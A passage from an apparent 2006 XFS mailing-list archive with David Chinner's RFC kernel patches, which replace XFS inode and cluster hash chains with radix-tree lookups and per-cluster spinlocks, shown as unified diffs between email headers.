inode must match the transaction */ + if (ip && (ip->i_transp != tp)) + return NULL; + return ip; } /* @@ -696,10 +637,7 @@ xfs_iextract( ih = ip->i_hash; write_lock(&ih->ih_lock); - if ((iq = ip->i_next)) { - iq->i_prevp = ip->i_prevp; - } - *ip->i_prevp = iq; + radix_tree_delete(&ih->ih_root, ip->i_ino); ih->ih_version++; write_unlock(&ih->ih_lock); Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-09-14 12:49:52.546615391 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-09-18 12:02:31.027726925 +1000 @@ -2185,10 +2185,7 @@ xfs_ifree_cluster( for (i = 0; i < ninodes; i++) { ih = XFS_IHASH(mp, inum + i); read_lock(&ih->ih_lock); - for (ip = ih->ih_next; ip != NULL; ip = ip->i_next) { - if (ip->i_ino == inum + i) - break; - } + ip = (xfs_inode_t *)radix_tree_lookup(&ih->ih_root, inum + i); /* Inode not in memory or we found it already, * nothing to do Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.h 2006-09-14 12:50:19.827087794 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.h 2006-09-18 12:02:31.027726925 +1000 @@ -175,12 +175,12 @@ extern void xfs_iocore_inode_reinit(stru * file system to hash the inodes for that file system. */ typedef struct xfs_ihash { - struct xfs_inode *ih_next; + struct radix_tree_root ih_root; rwlock_t ih_lock; uint ih_version; } xfs_ihash_t; -#define XFS_IHASH(mp,ino) ((mp)->m_ihash + (((uint)(ino)) % (mp)->m_ihsize)) +#define XFS_IHASH(mp,ino) ((mp)->m_ihash + (((uint)((ino) >> 6)) % (mp)->m_ihsize)) /* * This is the xfs inode cluster hash. This hash is used by xfs_iflush to @@ -229,20 +229,16 @@ typedef struct xfs_chash { typedef struct { struct xfs_ihash *ip_hash; /* pointer to hash header */ - struct xfs_inode *ip_next; /* inode hash link forw */ struct xfs_inode *ip_mnext; /* next inode in mount list */ struct xfs_inode *ip_mprev; /* ptr to prev inode */ - struct xfs_inode **ip_prevp; /* ptr to prev i_next */ struct xfs_mount *ip_mount; /* fs mount struct ptr */ } xfs_iptr_t; typedef struct xfs_inode { /* Inode linking and identification information. */ struct xfs_ihash *i_hash; /* pointer to hash header */ - struct xfs_inode *i_next; /* inode hash link forw */ struct xfs_inode *i_mnext; /* next inode in mount list */ struct xfs_inode *i_mprev; /* ptr to prev inode */ - struct xfs_inode **i_prevp; /* ptr to prev i_next */ struct xfs_mount *i_mount; /* fs mount struct ptr */ struct list_head i_reclaim; /* reclaim list */ struct bhv_desc i_bhv_desc; /* inode behavior descriptor*/ Index: 2.6.x-xfs-new/fs/xfs/xfsidbg.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfsidbg.c 2006-09-14 12:49:52.558613839 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfsidbg.c 2006-09-18 12:02:26.328333578 +1000 @@ -6766,6 +6766,7 @@ xfsidbg_xmount(xfs_mount_t *mp) static void xfsidbg_xihash(xfs_mount_t *mp) { +#if 0 xfs_ihash_t *ih; int i; int j; @@ -6826,6 +6827,7 @@ xfsidbg_xihash(xfs_mount_t *mp) } kdb_printf("\n"); kfree(hist); +#endif } /* @@ -6843,10 +6845,8 @@ xfsidbg_xnode(xfs_inode_t *ip) NULL }; - kdb_printf("hash 0x%p next 0x%p prevp 0x%p mount 0x%p\n", + kdb_printf("hash 0x%p mount 0x%p\n", ip->i_hash, - ip->i_next, - ip->i_prevp, ip->i_mount); kdb_printf("mnext 0x%p mprev 0x%p vnode 0x%p \n", ip->i_mnext, From owner-xfs@oss.sgi.com Mon Oct 2 23:11:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 23:11:36 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k936BQaG000747 for ; Mon, 2 Oct 2006 23:11:28 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA02943; Tue, 3 Oct 2006 16:10:42 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k936Afpj19574754; Tue, 3 Oct 2006 16:10:41 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k936Ael419566791; Tue, 3 Oct 2006 16:10:40 +1000 (AEST) Date: Tue, 3 Oct 2006 16:10:40 +1000 From: David Chinner To: xfs-dev@sgi.com Cc: xfs@oss.sgi.com Subject: [RFC 2/3] Add a lock per inode cluster object Message-ID: <20061003061040.GX3024@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9151 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O Per cluster-object inode chain locks. Currently, the cluster inode chain is protected by the cluster hash chain lock. This means that any operation on the cluster inode chain can hold out searches of the cluster hash. it also means that the cluster inode chain is not independent of the cluster hash and hence cannot be cleanly separated. Give the cluster object it's own lock so that inode chain operations can be done independently of the cluster hash. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/xfs_iget.c | 26 +++++++++++++++++++++----- fs/xfs/xfs_inode.c | 10 +++------- fs/xfs/xfs_inode.h | 1 + 3 files changed, 25 insertions(+), 12 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_iget.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_iget.c 2006-09-18 11:18:24.669029430 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_iget.c 2006-09-18 12:02:26.328333578 +1000 @@ -338,7 +338,9 @@ finish_inode: if (chl->chl_blkno == ip->i_blkno) { /* insert this inode into the doubly-linked list - * where chl points */ + * where chl points. lock the chl to protect against + * others traversing the chl list */ + spin_lock(&chl->chl_lock); if ((iq = chl->chl_ip)) { ip->i_cprev = iq->i_cprev; iq->i_cprev->i_cnext = ip; @@ -350,6 +352,7 @@ finish_inode: } chl->chl_ip = ip; ip->i_chash = chl; + spin_unlock(&chl->chl_lock); break; } } @@ -363,8 +366,11 @@ finish_inode: kmem_zone_alloc(xfs_chashlist_zone, KM_SLEEP); ASSERT(chlnew != NULL); + spin_lock_init(&chlnew->chl_lock); goto chlredo; } else { + /* exclusive access to this chl thanks to the ch_lock + * in write mode, so no lock really needed */ ip->i_cnext = ip; ip->i_cprev = ip; ip->i_chash = chlnew; @@ -649,13 +655,21 @@ xfs_iextract( */ mp = ip->i_mount; ch = XFS_CHASH(mp, ip->i_blkno); - s = mutex_spinlock(&ch->ch_lock); - - if (ip->i_cnext == ip) { + spin_lock(&ip->i_chash->chl_lock); + if (unlikely(ip->i_cnext == ip)) { /* Last inode on chashlist */ ASSERT(ip->i_cnext == ip && ip->i_cprev == ip); ASSERT(ip->i_chash != NULL); chm=NULL; + + spin_unlock(&ip->i_chash->chl_lock); + spin_lock(&ch->ch_lock); + spin_lock(&ip->i_chash->chl_lock); + if (ip->i_cnext != ip) { + spin_unlock(&ch->ch_lock); + goto delete; + } + spin_unlock(&ip->i_chash->chl_lock); chl = ip->i_chash; if (chl->chl_prev) chl->chl_prev->chl_next = chl->chl_next; @@ -663,20 +677,22 @@ xfs_iextract( ch->ch_list = chl->chl_next; if (chl->chl_next) chl->chl_next->chl_prev = chl->chl_prev; + spin_unlock(&ch->ch_lock); kmem_zone_free(xfs_chashlist_zone, chl); } else { /* delete one inode from a non-empty list */ +delete: iq = ip->i_cnext; iq->i_cprev = ip->i_cprev; ip->i_cprev->i_cnext = iq; if (ip->i_chash->chl_ip == ip) { ip->i_chash->chl_ip = iq; } + spin_unlock(&ip->i_chash->chl_lock); ip->i_chash = __return_address; ip->i_cprev = __return_address; ip->i_cnext = __return_address; } - mutex_spinunlock(&ch->ch_lock, s); /* * Remove from mount's inode list. Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-09-18 11:18:24.669029430 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-09-18 12:02:26.328333578 +1000 @@ -3007,7 +3007,6 @@ xfs_iflush( xfs_mount_t *mp; int error; /* REFERENCED */ - xfs_chash_t *ch; xfs_inode_t *iq; int clcount; /* count of inodes clustered */ int bufwasdelwri; @@ -3126,12 +3125,9 @@ xfs_iflush( * inode clustering: * see if other inodes can be gathered into this write */ - + spin_lock(&ip->i_chash->chl_lock); ip->i_chash->chl_buf = bp; - ch = XFS_CHASH(mp, ip->i_blkno); - s = mutex_spinlock(&ch->ch_lock); - clcount = 0; for (iq = ip->i_cnext; iq != ip; iq = iq->i_cnext) { /* @@ -3184,7 +3180,7 @@ xfs_iflush( xfs_iunlock(iq, XFS_ILOCK_SHARED); } } - mutex_spinunlock(&ch->ch_lock, s); + spin_unlock(&ip->i_chash->chl_lock); if (clcount) { XFS_STATS_INC(xs_icluster_flushcnt); @@ -3221,7 +3217,7 @@ cluster_corrupt_out: /* Corruption detected in the clustering loop. Invalidate the * inode buffer and shut down the filesystem. */ - mutex_spinunlock(&ch->ch_lock, s); + spin_unlock(&ip->i_chash->chl_lock); /* * Clean up the buffer. If it was B_DELWRI, just release it -- Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.h 2006-09-18 11:18:24.673028907 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.h 2006-09-18 12:02:26.328333578 +1000 @@ -194,6 +194,7 @@ typedef struct xfs_chashlist { xfs_daddr_t chl_blkno; /* starting block number of * the cluster */ struct xfs_buf *chl_buf; /* the inode buffer */ + lock_t chl_lock; /* inode list lock */ } xfs_chashlist_t; typedef struct xfs_chash { From owner-xfs@oss.sgi.com Mon Oct 2 23:13:14 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 23:13:19 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k936D8aG001255 for ; Mon, 2 Oct 2006 23:13:11 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA02987; Tue, 3 Oct 2006 16:12:23 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k936CMpj19570837; Tue, 3 Oct 2006 16:12:22 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k936CLIn19578823; Tue, 3 Oct 2006 16:12:21 +1000 (AEST) Date: Tue, 3 Oct 2006 16:12:21 +1000 From: David Chinner To: xfs-dev@sgi.com Cc: xfs@oss.sgi.com Subject: [RFC 3/3] Remove cluster hash lists Message-ID: <20061003061221.GY3024@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-archive-position: 9152 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O Remove the cluster hash lists and replace with lookups into the new radix tree. This removes scalability limitations inherent in the cluster hash sizing algorithms. We can do this due to the fact that all inodes in a cluster have sequential numbers and have a defined alignment. This means we can mask out the inode number within the cluster to give us the cluster address that the inode belongs to. We can then do a gang lookup on the radix tree to find out if there is already an existing cached inode in the cluster. if there is, then we can obtain the cluster object from the existing cached inode. If there isn't we simply allocate a new one and attach it to the inode we are inserting into the radix tree. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/linux-2.6/xfs_ksyms.c | 2 fs/xfs/xfs_iget.c | 201 +++++++++++++------------------------------ fs/xfs/xfs_inode.c | 11 +- fs/xfs/xfs_inode.h | 32 ++---- fs/xfs/xfs_mount.c | 4 fs/xfs/xfs_vfsops.c | 8 - fs/xfs/xfsidbg.c | 100 --------------------- 7 files changed, 84 insertions(+), 274 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_iget.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_iget.c 2006-09-18 11:27:42.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_iget.c 2006-09-18 12:02:18.785307323 +1000 @@ -80,40 +80,6 @@ xfs_ihash_free(xfs_mount_t *mp) } /* - * Initialize the inode cluster hash table for the newly mounted file system. - * Its size is derived from the ihash table size. - */ -void -xfs_chash_init(xfs_mount_t *mp) -{ - uint i; - - mp->m_chsize = mp->m_ihsize * 2049; - mp->m_chash = (xfs_chash_t *)kmem_zalloc(mp->m_chsize - * sizeof(xfs_chash_t), - KM_SLEEP | KM_LARGE); - for (i = 0; i < mp->m_chsize; i++) { - spinlock_init(&mp->m_chash[i].ch_lock,"xfshash"); - } -} - -/* - * Free up structures allocated by xfs_chash_init, at unmount time. - */ -void -xfs_chash_free(xfs_mount_t *mp) -{ - int i; - - for (i = 0; i < mp->m_chsize; i++) { - spinlock_destroy(&mp->m_chash[i].ch_lock); - } - - kmem_free(mp->m_chash, mp->m_chsize*sizeof(xfs_chash_t)); - mp->m_chash = NULL; -} - -/* * Look up an inode by number in the given file system. * The inode is looked up in the hash table for the file system * represented by the mount point parameter mp. Each bucket of @@ -161,10 +127,8 @@ xfs_iget_core( bhv_vnode_t *inode_vp; ulong version; int error; - /* REFERENCED */ - xfs_chash_t *ch; - xfs_chashlist_t *chl, *chlnew; - SPLDECL(s); + xfs_icluster_t *icl, *new_icl = NULL; + unsigned long first_index, mask; ih = XFS_IHASH(mp, ino); @@ -294,15 +258,31 @@ finish_inode: } /* - * Put ip on its hash chain, unless someone else hashed a duplicate - * after we released the hash lock. + * This is a bit messy - we preallocate everything we _might_ + * need before we pick up the hash lock. That way we donnn't have to + * juggle locks and go all the way back to the start. */ + new_icl = (xfs_icluster_t *)kmem_zone_alloc(xfs_icluster_zone, KM_SLEEP); if (radix_tree_preload(GFP_KERNEL)) { delay(1); goto again; } + mask = ~(((XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog)) - 1); + first_index = ino & mask; write_lock(&ih->ih_lock); + /* + * Find the cluster if it exists + */ + icl = NULL; + if (radix_tree_gang_lookup(&ih->ih_root, (void**)&iq, first_index, 1)) { + if ((iq->i_ino & mask) == first_index) + icl = iq->i_cluster; + } + + /* + * insert the new inode + */ error = radix_tree_insert(&ih->ih_root, (unsigned long)ino, (void *)ip); if (unlikely(error)) { BUG_ON(error != -EEXIST); @@ -321,76 +301,36 @@ finish_inode: ip->i_udquot = ip->i_gdquot = NULL; ih->ih_version++; xfs_iflags_set(ip, XFS_INEW); - write_unlock(&ih->ih_lock); - radix_tree_preload_end(); - /* - * put ip on its cluster's hash chain - */ - ASSERT(ip->i_chash == NULL && ip->i_cprev == NULL && + ASSERT(ip->i_cluster == NULL && ip->i_cprev == NULL && ip->i_cnext == NULL); - chlnew = NULL; - ch = XFS_CHASH(mp, ip->i_blkno); - chlredo: - s = mutex_spinlock(&ch->ch_lock); - for (chl = ch->ch_list; chl != NULL; chl = chl->chl_next) { - if (chl->chl_blkno == ip->i_blkno) { - - /* insert this inode into the doubly-linked list - * where chl points. lock the chl to protect against - * others traversing the chl list */ - spin_lock(&chl->chl_lock); - if ((iq = chl->chl_ip)) { - ip->i_cprev = iq->i_cprev; - iq->i_cprev->i_cnext = ip; - iq->i_cprev = ip; - ip->i_cnext = iq; - } else { - ip->i_cnext = ip; - ip->i_cprev = ip; - } - chl->chl_ip = ip; - ip->i_chash = chl; - spin_unlock(&chl->chl_lock); - break; - } - } - - /* no hash list found for this block; add a new hash list */ - if (chl == NULL) { - if (chlnew == NULL) { - mutex_spinunlock(&ch->ch_lock, s); - ASSERT(xfs_chashlist_zone != NULL); - chlnew = (xfs_chashlist_t *) - kmem_zone_alloc(xfs_chashlist_zone, - KM_SLEEP); - ASSERT(chlnew != NULL); - spin_lock_init(&chlnew->chl_lock); - goto chlredo; - } else { - /* exclusive access to this chl thanks to the ch_lock - * in write mode, so no lock really needed */ - ip->i_cnext = ip; - ip->i_cprev = ip; - ip->i_chash = chlnew; - chlnew->chl_ip = ip; - chlnew->chl_blkno = ip->i_blkno; - if (ch->ch_list) - ch->ch_list->chl_prev = chlnew; - chlnew->chl_next = ch->ch_list; - chlnew->chl_prev = NULL; - ch->ch_list = chlnew; - chlnew = NULL; - } + if (icl) { + /* insert this inode into the doubly-linked list + * where icl points. lock the icl to protect against + * others traversing the icl list */ + spin_lock(&icl->icl_lock); + ASSERT(icl->icl_ip != NULL); + iq = icl->icl_ip; + ip->i_cprev = iq->i_cprev; + iq->i_cprev->i_cnext = ip; + iq->i_cprev = ip; + ip->i_cnext = iq; + icl->icl_ip = ip; + ip->i_cluster = icl; + spin_unlock(&icl->icl_lock); } else { - if (chlnew != NULL) { - kmem_zone_free(xfs_chashlist_zone, chlnew); - } + ip->i_cnext = ip; + ip->i_cprev = ip; + ip->i_cluster = new_icl; + new_icl->icl_ip = ip; + spin_lock_init(&new_icl->icl_lock); + new_icl = NULL; } - - mutex_spinunlock(&ch->ch_lock, s); - + write_unlock(&ih->ih_lock); + radix_tree_preload_end(); + if (new_icl) + kmem_zone_free(xfs_icluster_zone, new_icl); /* * Link ip to its mount and thread it on the mount's inode list. @@ -637,9 +577,6 @@ xfs_iextract( xfs_ihash_t *ih; xfs_inode_t *iq; xfs_mount_t *mp; - xfs_chash_t *ch; - xfs_chashlist_t *chl, *chm; - SPLDECL(s); ih = ip->i_hash; write_lock(&ih->ih_lock); @@ -648,48 +585,34 @@ xfs_iextract( write_unlock(&ih->ih_lock); /* - * Remove from cluster hash list - * 1) delete the chashlist if this is the last inode on the chashlist - * 2) unchain from list of inodes - * 3) point chashlist->chl_ip to 'chl_next' if to this inode. + * Remove from cluster list */ mp = ip->i_mount; - ch = XFS_CHASH(mp, ip->i_blkno); - spin_lock(&ip->i_chash->chl_lock); + spin_lock(&ip->i_cluster->icl_lock); if (unlikely(ip->i_cnext == ip)) { - /* Last inode on chashlist */ + /* + * Last inode in cluster object. + * + * We've been removed from the inode radix tree, and + * we are the last inode to reference the cluster. + * We can simply drop our loks and free it at this point + * because nothing can find us or the cluster. + */ ASSERT(ip->i_cnext == ip && ip->i_cprev == ip); - ASSERT(ip->i_chash != NULL); - chm=NULL; + ASSERT(ip->i_cluster != NULL); - spin_unlock(&ip->i_chash->chl_lock); - spin_lock(&ch->ch_lock); - spin_lock(&ip->i_chash->chl_lock); - if (ip->i_cnext != ip) { - spin_unlock(&ch->ch_lock); - goto delete; - } - spin_unlock(&ip->i_chash->chl_lock); - chl = ip->i_chash; - if (chl->chl_prev) - chl->chl_prev->chl_next = chl->chl_next; - else - ch->ch_list = chl->chl_next; - if (chl->chl_next) - chl->chl_next->chl_prev = chl->chl_prev; - spin_unlock(&ch->ch_lock); - kmem_zone_free(xfs_chashlist_zone, chl); + spin_unlock(&ip->i_cluster->icl_lock); + kmem_zone_free(xfs_icluster_zone, ip->i_cluster); } else { /* delete one inode from a non-empty list */ -delete: iq = ip->i_cnext; iq->i_cprev = ip->i_cprev; ip->i_cprev->i_cnext = iq; - if (ip->i_chash->chl_ip == ip) { - ip->i_chash->chl_ip = iq; + if (ip->i_cluster->icl_ip == ip) { + ip->i_cluster->icl_ip = iq; } - spin_unlock(&ip->i_chash->chl_lock); - ip->i_chash = __return_address; + spin_unlock(&ip->i_cluster->icl_lock); + ip->i_cluster = __return_address; ip->i_cprev = __return_address; ip->i_cnext = __return_address; } Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.h 2006-09-18 11:27:42.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.h 2006-09-18 12:02:18.789306807 +1000 @@ -187,23 +187,13 @@ typedef struct xfs_ihash { * find inodes that share a cluster and can be flushed to disk at the same * time. */ -typedef struct xfs_chashlist { - struct xfs_chashlist *chl_next; - struct xfs_chashlist *chl_prev; - struct xfs_inode *chl_ip; - xfs_daddr_t chl_blkno; /* starting block number of +typedef struct xfs_icluster { + struct xfs_inode *icl_ip; + xfs_daddr_t icl_blkno; /* starting block number of * the cluster */ - struct xfs_buf *chl_buf; /* the inode buffer */ - lock_t chl_lock; /* inode list lock */ -} xfs_chashlist_t; - -typedef struct xfs_chash { - xfs_chashlist_t *ch_list; - lock_t ch_lock; -} xfs_chash_t; - -#define XFS_CHASH(mp,blk) ((mp)->m_chash + (((uint)blk) % (mp)->m_chsize)) - + struct xfs_buf *icl_buf; /* the inode buffer */ + lock_t icl_lock; /* inode list lock */ +} xfs_icluster_t; /* * This is the xfs in-core inode structure. @@ -280,9 +270,9 @@ typedef struct xfs_inode { unsigned int i_delayed_blks; /* count of delay alloc blks */ xfs_dinode_core_t i_d; /* most of ondisk inode */ - xfs_chashlist_t *i_chash; /* cluster hash list header */ - struct xfs_inode *i_cnext; /* cluster hash link forward */ - struct xfs_inode *i_cprev; /* cluster hash link backward */ + xfs_icluster_t *i_cluster; /* cluster list header */ + struct xfs_inode *i_cnext; /* cluster link forward */ + struct xfs_inode *i_cprev; /* cluster link backward */ /* Trace buffers per inode. */ #ifdef XFS_BMAP_TRACE @@ -438,8 +428,6 @@ xfs_iflags_test(xfs_inode_t *ip, unsigne */ void xfs_ihash_init(struct xfs_mount *); void xfs_ihash_free(struct xfs_mount *); -void xfs_chash_init(struct xfs_mount *); -void xfs_chash_free(struct xfs_mount *); xfs_inode_t *xfs_inode_incore(struct xfs_mount *, xfs_ino_t, struct xfs_trans *); void xfs_inode_lock_init(xfs_inode_t *, struct bhv_vnode *); @@ -547,7 +535,7 @@ void xfs_inobp_check(struct xfs_mount * #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ -extern struct kmem_zone *xfs_chashlist_zone; +extern struct kmem_zone *xfs_icluster_zone; extern struct kmem_zone *xfs_ifork_zone; extern struct kmem_zone *xfs_inode_zone; extern struct kmem_zone *xfs_ili_zone; Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_ksyms.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_ksyms.c 2006-09-18 11:05:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_ksyms.c 2006-09-18 12:02:18.793306290 +1000 @@ -240,7 +240,7 @@ EXPORT_SYMBOL(xfs_bulkstat); EXPORT_SYMBOL(xfs_bunmapi); EXPORT_SYMBOL(xfs_bwrite); EXPORT_SYMBOL(xfs_change_file_space); -EXPORT_SYMBOL(xfs_chashlist_zone); +EXPORT_SYMBOL(xfs_icluster_zone); EXPORT_SYMBOL(xfs_dev_is_read_only); EXPORT_SYMBOL(xfs_dir_getdents); EXPORT_SYMBOL(xfs_dir_ialloc); Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-09-18 11:27:42.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-09-18 12:02:18.797305774 +1000 @@ -53,7 +53,7 @@ kmem_zone_t *xfs_ifork_zone; kmem_zone_t *xfs_inode_zone; -kmem_zone_t *xfs_chashlist_zone; +kmem_zone_t *xfs_icluster_zone; /* * Used in xfs_itruncate(). This is the maximum number of extents @@ -3011,7 +3011,6 @@ xfs_iflush( int clcount; /* count of inodes clustered */ int bufwasdelwri; enum { INT_DELWRI = (1 << 0), INT_ASYNC = (1 << 1) }; - SPLDECL(s); XFS_STATS_INC(xs_iflush_count); @@ -3125,8 +3124,8 @@ xfs_iflush( * inode clustering: * see if other inodes can be gathered into this write */ - spin_lock(&ip->i_chash->chl_lock); - ip->i_chash->chl_buf = bp; + spin_lock(&ip->i_cluster->icl_lock); + ip->i_cluster->icl_buf = bp; clcount = 0; for (iq = ip->i_cnext; iq != ip; iq = iq->i_cnext) { @@ -3180,7 +3179,7 @@ xfs_iflush( xfs_iunlock(iq, XFS_ILOCK_SHARED); } } - spin_unlock(&ip->i_chash->chl_lock); + spin_unlock(&ip->i_cluster->icl_lock); if (clcount) { XFS_STATS_INC(xs_icluster_flushcnt); @@ -3217,7 +3216,7 @@ cluster_corrupt_out: /* Corruption detected in the clustering loop. Invalidate the * inode buffer and shut down the filesystem. */ - spin_unlock(&ip->i_chash->chl_lock); + spin_unlock(&ip->i_cluster->icl_lock); /* * Clean up the buffer. If it was B_DELWRI, just release it -- Index: 2.6.x-xfs-new/fs/xfs/xfs_vfsops.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_vfsops.c 2006-09-18 11:05:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_vfsops.c 2006-09-18 12:02:18.797305774 +1000 @@ -113,8 +113,8 @@ xfs_init(void) xfs_ili_zone = kmem_zone_init_flags(sizeof(xfs_inode_log_item_t), "xfs_ili", KM_ZONE_SPREAD, NULL); - xfs_chashlist_zone = - kmem_zone_init_flags(sizeof(xfs_chashlist_t), "xfs_chashlist", + xfs_icluster_zone = + kmem_zone_init_flags(sizeof(xfs_icluster_t), "xfs_icluster", KM_ZONE_SPREAD, NULL); /* @@ -159,7 +159,7 @@ xfs_cleanup(void) extern kmem_zone_t *xfs_efd_zone; extern kmem_zone_t *xfs_efi_zone; extern kmem_zone_t *xfs_buf_item_zone; - extern kmem_zone_t *xfs_chashlist_zone; + extern kmem_zone_t *xfs_icluster_zone; xfs_cleanup_procfs(); xfs_sysctl_unregister(); @@ -193,7 +193,7 @@ xfs_cleanup(void) kmem_zone_destroy(xfs_efi_zone); kmem_zone_destroy(xfs_ifork_zone); kmem_zone_destroy(xfs_ili_zone); - kmem_zone_destroy(xfs_chashlist_zone); + kmem_zone_destroy(xfs_icluster_zone); } /* Index: 2.6.x-xfs-new/fs/xfs/xfsidbg.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfsidbg.c 2006-09-18 11:05:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfsidbg.c 2006-09-18 12:02:18.801305258 +1000 @@ -130,8 +130,6 @@ static void xfsidbg_xbuf(xfs_buf_t *); static void xfsidbg_xbuf_real(xfs_buf_t *, int); static void xfsidbg_xarg(int); static void xfsidbg_xchksum(uint *); -static void xfsidbg_xchash(xfs_mount_t *mp); -static void xfsidbg_xchashlist(xfs_chashlist_t *chl); static void xfsidbg_xdaargs(xfs_da_args_t *); static void xfsidbg_xdabuf(xfs_dabuf_t *); static void xfsidbg_xdanode(xfs_da_intnode_t *); @@ -1065,50 +1063,6 @@ static int kdbm_xfs_xchksum( return 0; } - -static int kdbm_xfs_xchash( - int argc, - const char **argv, - const char **envp, - struct pt_regs *regs) -{ - unsigned long addr; - int nextarg = 1; - long offset = 0; - int diag; - - if (argc != 1) - return KDB_ARGCOUNT; - diag = kdbgetaddrarg(argc, argv, &nextarg, &addr, &offset, NULL, regs); - if (diag) - return diag; - - xfsidbg_xchash((xfs_mount_t *) addr); - return 0; -} - -static int kdbm_xfs_xchashlist( - int argc, - const char **argv, - const char **envp, - struct pt_regs *regs) -{ - unsigned long addr; - int nextarg = 1; - long offset = 0; - int diag; - - if (argc != 1) - return KDB_ARGCOUNT; - diag = kdbgetaddrarg(argc, argv, &nextarg, &addr, &offset, NULL, regs); - if (diag) - return diag; - - xfsidbg_xchashlist((xfs_chashlist_t *) addr); - return 0; -} - - static int kdbm_xfs_xdaargs( int argc, const char **argv, @@ -2816,10 +2770,6 @@ static struct xif xfsidbg_funcs[] = { { "xbxstrc", kdbm_xfs_xbxstrace, "", "Dump XFS bmap extent inode trace" }, #endif - { "xchash", kdbm_xfs_xchash, "", - "Dump XFS cluster hash"}, - { "xchlist", kdbm_xfs_xchashlist, "", - "Dump XFS cluster hash list"}, { "xchksum", kdbm_xfs_xchksum, "", "Dump chksum" }, #ifdef XFS_DIR2_TRACE { "xd2atrc", kdbm_xfs_xdir2atrace, "", @@ -6754,8 +6704,6 @@ xfsidbg_xmount(xfs_mount_t *mp) (xfs_dfiloff_t)mp->m_dirdatablk, (xfs_dfiloff_t)mp->m_dirleafblk, (xfs_dfiloff_t)mp->m_dirfreeblk); - kdb_printf("chsize %d chash 0x%p\n", - mp->m_chsize, mp->m_chash); if (mp->m_fsname != NULL) kdb_printf("mountpoint \"%s\"\n", mp->m_fsname); else @@ -6894,8 +6842,8 @@ xfsidbg_xnode(xfs_inode_t *ip) qprintf(" dir trace 0x%p\n", ip->i_dir_trace); #endif kdb_printf("\n"); - kdb_printf("chash 0x%p cnext 0x%p cprev 0x%p\n", - ip->i_chash, + kdb_printf("icluster 0x%p cnext 0x%p cprev 0x%p\n", + ip->i_cluster, ip->i_cnext, ip->i_cprev); xfs_xnode_fork("data", &ip->i_df); @@ -6913,50 +6861,6 @@ xfsidbg_xcore(xfs_iocore_t *io) } /* - * Command to print xfs inode cluster hash table: kp xchash - */ -static void 